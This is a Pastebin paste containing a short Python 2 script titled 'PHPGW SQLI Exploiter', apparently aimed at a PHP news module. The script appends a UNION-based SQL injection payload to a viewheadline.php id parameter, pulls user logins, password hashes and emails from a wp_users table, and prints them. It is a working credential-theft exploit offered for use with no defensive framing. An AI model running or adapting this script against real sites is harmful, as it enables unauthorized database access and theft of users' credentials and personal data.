Advertisement
Kyfx

PHPGW SQLI Exploiter

Apr 11th, 2016
1,424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. from sys import argv, exit
  2. from urllib import urlopen
  3. from re import findall
  4.  
  5. if len(argv) < 2:
  6. exit('Usage: python file.py http://vulnsite.com/path/')
  7.  
  8. print "\n// Kyfx // POC // 17/1/2015 // \n\n"
  9.  
  10. payload = 'viewheadline.php?id=-9%27%20union%20select%201,2,3,4,5,concat(user_login,0x3a,user_pass,0x3a,user_email),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from wp_users--+'
  11.  
  12. arg = argv[1]
  13.  
  14. if arg[0:7] != "http://":
  15. url = "http://" + str(arg)
  16. else:
  17. url = arg
  18.  
  19. data = urlopen(url + str(payload)).read()
  20.  
  21. matches = findall(r"<span class=\"newstitle\">(.*?)</span>", data)
  22.  
  23. for match in matches:
  24. x = match.split(":")
  25. print "User: " + str(x[0]) + " | Password: " + str(x[1]) + " | E-mail: " + str(x[2]) + "\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement